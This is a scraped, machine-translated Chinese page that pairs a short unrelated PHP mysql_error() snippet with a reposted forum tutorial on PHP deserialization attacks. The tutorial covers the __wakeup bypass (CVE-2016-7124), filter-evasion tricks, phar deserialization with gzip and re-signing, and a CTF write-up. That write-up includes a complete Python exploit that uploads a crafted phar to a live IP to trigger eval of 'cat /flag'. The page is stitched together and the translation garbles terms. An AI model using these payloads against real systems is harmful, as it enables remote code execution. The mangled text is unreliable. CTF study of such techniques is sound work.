如何在php中复制数据库错误信息: 1.创建PHP示例文件; 2、通过mysql_connect连接数据库; 3、通过mysql_error函数复制数据库错误信息。
本文的运行环境:Windows7系统、PHP7.1版本、DELLG3笔记本。
php如何复制数据库错误信息?
代码如下所示:
$link = @mysql_connect("服务器", "账号", "密码") or die("自己的错误解释".mysql_error()); echo mysql_error(); //打印数据错误信息
相关介绍:
mysql_错误
(PHP4、PHP5)
mysql_error — 返回上次 MySQL 操作的文本错误消息
阐明
mysql_error(resource $link_identifier = ?): string
返回上一个 MySQL 函数的错误文本php 打印,如果没有发生错误,则返回 ''(空字符串)。 如果未指定连接资源号php 打印,则使用上次成功打开的连接从 MySQL 服务器获取错误消息。
MySQL数据库前端的错误不再警告,使用mysql_error()提取错误文本。 请注意,该函数仅返回最近一次执行 MySQL 函数的错误文本(不包括 mysql_error() 和 mysql_errno()),因此如果要使用该函数,请务必在调用另一个 MySQL 函数之前检查其值。
mysqli_error()
mysqli_error() 函数返回最近调用的函数的最后一个错误描述。
句型
mysqli_error(connection);
范围
需要连接。 指定要使用的 MySQL 连接。
返回值:返回包含错误描述的字符串。 如果没有发生错误则返回“”。
PHP版本:5+
推荐学习:《PHP视频教程》
本文是看学论坛上的一篇优秀文章
看学论坛作者ID:pank1s
一
简介
虽然序列化是将数据转换为可逆的数据结构,但自然地,相反的过程称为反序列化。 简单来说,我在一个地方构造了一个类,但是我想在另一个地方使用它,那么如何传递呢? 于是就想到了序列化这些东西,先把对象序列化成字符串(数据),后面需要用到的时候再反序列化,得到要使用的对象,非常方便。
我们来看看官方指南()是怎么说的:
PHP以上的所有值都可以通过使用函数serialize()()返回包含字节流的字符串来表示。 unserialize()() 函数可以将字符串改回 php.ini 的原始值。 序列化一个对象会保存该对象的所有变量,但不会保存该对象的方法,只保存类名。
为了 unserialize() 一个对象,该对象的类必须已经定义。 如果序列化一个A类的对象,会返回一个与A类相关、包含该对象所有变量值的字符串。 如果要反序列化另一个文件中的对象,则必须在反序列化之前定义该对象的类,这可以通过包含定义该类的文件或使用函数 spl_autoload_register()() 来实现。
PHP 使用两个函数来序列化和反序列化数据:
Serialize() 将对象转换为有序字符串。
unserialize() 将字符串恢复为原始对象。
序列化的目的是为了方便数据的传输和存储。 在PHP中,序列化和反序列化通常用作缓存,例如会话缓存、cookie等。
注意:在 php 中创建对象与反序列化对象不同。 例如,创建一个对象通常会先调用 __construct() 方法,如果有 __wakeup() 方法,则反序列化对象。 首先调用它而不是执行 __construct()。
二
常见序列化格式介绍
基本上每种编程语言都有自己的序列化和反序列化方法,格式也不同
就像有:
简单的例子
$arr = array('aa', 'bb', 'cc' => 'dd');
$serarr = serialize($arr);
echo $serarr;
var_dump($arr);
输出
a:3:{i:0;s:2:"aa";i:1;s:2:"bb";s:2:"cc";s:2:"dd";}
array(3) {
[string(2) "aa" ]=>
[string(2) "bb" ]=>
[string(2) "dd" ]=>
}
这个输出序列代表什么?
a:3:{i:0;s:2:"aa";i:1;s:2:"bb";s:2:"cc";s:2:"dd";}
a:array表示链表,后面的3表示有3个属性。
i:代表整型数据int,后面的0是链表的下标(O代表Object,也是一个类)。
s:代表字符串php 变量,后面的2是因为aa的粗细为2,即字符串宽度值。
等等。
同时需要注意的是,序列化后,只有成员变量,没有成员函数。
注意,如果变量是protected的,则在变量名前添加x00*x00,为private则在变量名前添加x00类名x00,输出时通常需要url编码,如下:
class test {
protected $name;
private $pass;
function __construct($name, $pass) {
$this->name = $name;
$this->pass = $pass;
}
}
$a = new test('pankas', '123');
$seria = serialize($a);
echo $seria.'
';echo urlencode($seria);
直接输出会导致丢失不可见字符x00。
O:4:"test":2:{s:7:"*name";s:6:"pankas";s:10:"testpass";s:3:"123";}
O%3A4%3A%22test%22%3A2%3A%7Bs%3A7%3A%22%2Aname%22%3Bs%3A6%3A%22pankas%22%3Bs%3A10%3A%22testpass%22%3Bs%3A3%3A%22123%22%3B%7D
三
反序列化常用魔术方法
详细使用请参考官方文档()
__construct()//类的构造函数,创建类对象时调用
__destruct()//类的析构函数,对象销毁时调用
__call()//在对象中调用一个不可访问方法时调用
__callStatic()//用静态方式中调用一个不可访问方法时调用
__get()//获得一个类的成员变量时调用
__set()//设置一个类的成员变量时调用
__isset()//当对不可访问属性调用isset()或empty()时调用
__unset()//当对不可访问属性调用unset()时被调用。
__sleep()//执行serialize()时,先会调用这个函数
__wakeup()//执行unserialize()时,先会调用这个函数,执行后不会执行__construct()函数
__toString()//类被当成字符串时的回应方法
__invoke()//调用函数的方式调用一个对象时的回应方法
__set_state()//调用var_export()导出类时,此静态方法会被调用。
__clone()//当对象复制完成时调用
__autoload()//尝试加载未定义的类
__debugInfo()//打印所需调试信息
四
各种绕过姿势
绕过 __wakeup (CVE-2016-7124)
当wakeup()魔术执行unserialize()时,该函数将首先被调用,而`construct()`函数将不会被执行。
绕过方法:当序列化字符串中代表对象属性个数的值小于实际属性个数时,会跳过__wakeup的执行。
喜欢:
class test{
public $a;
public function __construct(){
$this->a = 'abc';
}
public function __wakeup(){
$this->a='def';
}
public function __destruct(){
echo $this->a;
}
}
序列化后为O:4:"test":1:{s:1:"a";s:3:"abc";}
执行反序列化 unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}');
结果是def,发现先执行了__wakeup(),没有执行__construct()。
当我们增加对象的属性个数时,改为O:4:"test":2:{s:1:"a";s:3:"abc";},由原来的1个属性有2,但是测试类只有一个真实的属性,这样就可以绕过__wakeup()来执行其他相应的魔术,而无需这个魔术。
执行反序列化 unserialize('O:4:"test":2:{s:1:"a";s:3:"abc";}');
结果是abc,发现先执行了__construct(),没有执行__wakeup()。
__destruct() 相关
__destruct 是 PHP 对象的一个神奇技术,称为析构函数,顾名思义,这是一个在对象被销毁时手动执行的函数。 以下情况会触发__destruct。
另外,PHP还有垃圾收集,也就是我们常说的GC机制。
PHP 中的 GC 使用引用计数和回收周期来手动管理视频内存对象。 那么当我们的对象变成“垃圾”时,就会被GC机制手动回收。 在回收过程中,函数的__destruct会被调用。
刚才我们谈到了引用计数。 事实上,当一个对象没有任何引用时,它就会被视为“垃圾”,即
$a = new test();
测试对象被变量a引用,所以该对象不是“垃圾”,如果是
new test();
或这个
$a = new test();
$a = 1;
这样,当测试没有被引用或者丢失引用时,就会被当作“垃圾”进行回收。
喜欢:
class test{
function __construct($i) {$this->i = $i; }
function __destruct() { echo $this->i."Destroy...n"; }
}
new test('1');
$a = new test('2');
$a = new test('3');
echo "————————————
";
输出
1Destroy...
2Destroy...
————————————
3Destroy...
这里是当第二个形参test('2')失去引用时,执行__destruct,然后执行echo,当程序结束时,test('3')被销毁,并执行其__destruct。
举个栗子:
class test {
function __destruct()
{
echo 'success!!';
}
}
if(isset($_REQUEST['input'])) {
$a = unserialize($_REQUEST['input']);
throw new Exception('lose');
}
这里我们请求输出success!!,但是反序列化后得到的对象有引用,并且给定了a变量,然后程序抛出异常,异常结束,导致GC机制没有正常完成,即,不执行__destruct。
直接构造反序列化测试类得到:
所以我们必须反序列化来自动“销毁”创建的对象。 这里我们可以借助链表来完成。 结构:
class test {}
$a = serialize(array(new test, null));
echo $a.'
';$a = str_replace(':1', ':0', $a);//将序列化的数组下标为0的元素给为null
echo $a;
得到
a:2:{i:0;O:4:"test":0:{}i:1;N;}
a:2:{i:0;O:4:"test":0:{}i:0;N;}//最终payload
来了,顺利获得成功!!
我们序列化一个链表对象,并考虑反序列化这个字符串,因为反序列化过程是顺序执行的,所以当我们到达第一个属性时,我们将Array[0]设置为对象,同时将Array[0]设置为] 设置为null,这样后面的测试对象就会失去引用,会被GC捕获,可以执行__destruct。
绕过正则表达式
例如,preg_match('/^O:d+/') 匹配序列化字符串是否为对象字符串的开头。
绕过方法
class test{
public $a;
public function __construct(){
$this->a = 'abc';
}
public function __destruct(){
echo $this->a.PHP_EOL;
}
}
function match($data){
if (preg_match('/^O:d+/',$data)){
die('nonono!');
}else{
return $data;
}
}
$a = 'O:4:"test":1:{s:1:"a";s:3:"abc";}';
// +号绕过
$b = str_replace('O:4','O:+4', $a);
unserialize(match($b));
// 将对象放入数组绕过 serialize(array($a));
unserialize('a:1:{i:0;O:4:"test":1:{s:1:"a";s:3:"abc";}}');
使用引号来绕过
如下,要求输出成功,但是构造的序列化字符串不能由aaa组成
class test {
public $a;
public $b;
public function __construct(){
$this->a = 'aaa';
}
public function __destruct(){
if($this->a === $this->b) {
echo 'you success';
}
}
}
if(isset($_REQUEST['input'])) {
if(preg_match('/aaa/', $_REQUEST['input'])) {
die('nonono');
}
unserialize($_REQUEST['input']);
}else {
highlight_file(__FILE__);
}
可以通过引用来规避
class test {
public $a;
public $b;
public function __construct(){
$this->b = &$this->a;
}
}
$a = serialize(new test());
echo $a;
//O:4:"test":2:{s:1:"a";N;s:1:"b";R:2;}
构造引用会使 $b 和 $a 具有相同的地址,从而绕过检查php 变量,满足要求。
十六进制绕过字符过滤
当序列字符串中表示字符类型的小写s被解析为十六进制时。
举个栗子:
class test{
public $username;
public function __construct(){
$this->username = 'admin';
}
public function __destruct(){
echo 'success';
}
}
function check($data){
if(preg_match('/username/', $data)){
echo("nonono!!!");
}
else{
return $data;
}
}
// 未作处理前,会被waf拦截
$a = 'O:4:"test":1:{s:8:"username";s:5:"admin";}';
$a = check($a);
unserialize($a);
// 将小s改为大S; 做处理后 75是u的16进制, 成功绕过
$a = 'O:4:"test":1:{S:8:"\75sername";s:5:"admin";}';
$a = check($a);
unserialize($a);
输出
五
phar反序列化
前言
我总结了phar的基本介绍以及如何使用,参考链接(%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6% E4%B9%A0%E7%AC%94%E8%AE%B0/)
同时要重点关注官方文档中对phar的介绍()(一定要关注官方文档,官方文档yyds)
这里我重点补充一下我之前的总结。
生成phar
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub(""); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
ps:注意,phar中存储的对象在反序列化后会被phar对象的元数据属性引用。
一些绕过形式
当环境限制时,phar不能出现以下字符。 您可以使用 compress.bzip2:// 和 compress.zlib:// 来绕过。
compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
您还可以使用其他合约,例如过滤器过滤器。
php://filter/read=convert.base64-encode/resource=phar://phar.phar
通过在文件后面添加 GIF89a 可以绕过 GIF 格式验证。
$phar->setStub(“GIF89a”.""); //设置stub
//生成一个phar.phar,修改后缀名为phar.gif
过滤 __HALT_COMPILER(); 参考(原理)
姿势1:
**将phar文件进行gzip压缩** ,使用压缩后phar文件同样也能反序列化 (常用)
Linux下使用命令gzip phar.phar生成。
姿势2:
将phar的内容写进压缩包注释中,也同样能够反序列化成功,压缩为zip也会绕过
$phar_file = serialize($exp);
echo $phar_file;
$zip = new ZipArchive();
$res = $zip->open('1.zip',ZipArchive::CREATE);
$zip->addFromString('crispr.txt', 'file content goes here');
$zip->setArchiveComment($phar_file);
$zip->close();
phar 文件签名更改
对于个别情况,我们需要更改phar文件的内容来满足个别需求(例如绕过__wakeup,更改属性个数),而更改后的phar文件需要更改签名才能正常使用,因为文件已更改。 官方文档是这么说的:
Phar 签名格式 (#phar.fileformat.signature)
包含签名的 Phar 始终将签名附加到 Phar 存档末尾的加载程序、清单和文件内容之后。 目前支持的签名格式有MD5、SHA1、SHA256、SHA512和OPENSSL。
使用winhex或010-editor查看phar文件签名类型(以上面代码生成的phar文件为例)
以默认的sha1签名为例:
from hashlib import sha1
with open('phar.phar', 'rb') as file:
f = file.read() # 修改内容后的phar文件,以二进制文件形式打开
s = f[:-28] # 获取要签名的数据(对于sha1签名的phar文件,文件末尾28字节为签名的格式)
h = f[-8:] # 获取签名类型以及GBMB标识,各4个字节
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
with open('newPhar.phar', 'wb') as file:
file.write(newf) # 写入新文件
运行脚本得到的newPhar.phar可以正常使用。
案子
标题来源:NSSCTF Round#4 Team-1zweb(revenge)
我不会谈论之前阅读任何文件并获取源代码。 重点是它的phar反序列化
索引.php:
class LoveNss{
public $ljt;
public $dky;
public $cmd;
public function __construct(){//__wakeup执行后__construct并不会执行
$this->ljt="ljt";
$this->dky="dky";
phpinfo();
}
public function __destruct(){
if($this->ljt==="Misc"&&$this->dky==="Re")
eval($this->cmd);
}
public function __wakeup(){//需要绕过__wakeup,更改序列化属性个数即可绕过
$this->ljt="Re";
$this->dky="Misc";
}
}
$file=$_POST['file'];
if(isset($_POST['file'])){
if (preg_match("/flag/i", $file)) {
die("nonono");
}
echo file_get_contents($file);
}
上传.php:
if ($_FILES["file"]["error"] > 0){
echo "上传异常";
}
else{
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp);
if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){
$content=file_get_contents($_FILES["file"]["tmp_name"]);
$pos = strpos($content, "__HALT_COMPILER();");//ban掉了明文的stub标识
if(gettype($pos)==="integer"){
echo "ltj一眼就发现了phar";
}else{
if (file_exists("./upload/" . $_FILES["file"]["name"])){
echo $_FILES["file"]["name"] . " 文件已经存在";
}else{
$myfile = fopen("./upload/".$_FILES["file"]["name"], "w");
fwrite($myfile, $content);
fclose($myfile);
echo "上传成功 ./upload/".$_FILES["file"]["name"];
}
}
}else{
echo "dky不喜欢这个文件 .".$extension;
}
}
分析源码发现__HALT_COMPILER(); 徽标已被删除。 如果没有这个,phar就不会被识别。 这可以通过使用 gzip 压缩来绕过。
可以通过更改序列属性的数量来绕过 __wakeup。 注意,改变phar文件后,需要重新签名,使用上面的脚本即可。
生成phar:
class LoveNss{
public $ljt;
public $dky;
public $cmd;
public function __construct($ljt, $dky, $cmd){
$this->ljt = $ljt;
$this->dky = $dky;
$this->cmd = $cmd;
}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub(""); //设置stub
$o = new LoveNss("Misc", "Re", "cat /flag");
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
修改签名并上传文件,访问获取flag后触发phar反序列化。
经验:
import requests
from hashlib import sha1
import gzip
import re
def getPhar():
with open('phar.phar', 'rb') as file:
f = file.read()
s = f[:-28] # 获取要签名的数据(对于sha1签名的phar文件,文件末尾28字节为签名的格式)
s = s.replace(b'3:{', b'4:{')# 绕过__wakeup
h = f[-8:] # 获取签名类型以及GBMB标识,各4个字节
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
return gzip.compress(newf)# 进行gzip压缩
def upload(file):
burp0_url = "http://1.14.71.254:28403/upload.php"
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://1.14.71.254:28403", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryfXBfemuGHEVNBhN8", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://1.14.71.254:28403/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
burp0_data = b"------WebKitFormBoundaryfXBfemuGHEVNBhN8rnContent-Disposition: form-data; name="file"; filename="phar.jpg"rnContent-Type: image/jpegrnrn" + file + b"rn------WebKitFormBoundaryfXBfemuGHEVNBhN8rnContent-Disposition: form-data; name="submit"rnrnrn------WebKitFormBoundaryfXBfemuGHEVNBhN8--rn"
# 注意数据类型为byte类型,应该file为byte类型,相同数据类型才能合并
requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
def getFlag():
burp0_url = "http://1.14.71.254:28403/"
burp0_headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36", "Origin": "http://1.14.71.254:28403", "Content-Type": "application/x-www-form-urlencoded", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://1.14.71.254:28403/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
burp0_data = {"file": "phar://./upload/phar.jpg/test.txt", "submit": ''}
res = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
return re.findall('(NSSCTF{.*?})', res.text)[0]
if __name__ == '__main__':
upload(getPhar())
print(getFlag())
跑去拿旗子。
ps:注意,如果使用burp代理抓包并上传gzip压缩的phar,可能会出现bug,而且burp会改变gzip数据,导致phar文件难以识别
看雪 ID:pank1s
*本文由看学论坛pank1s原创,转载时请注明来自看学社区
#之前的推荐
1、
2、
3.
4.
5.
6.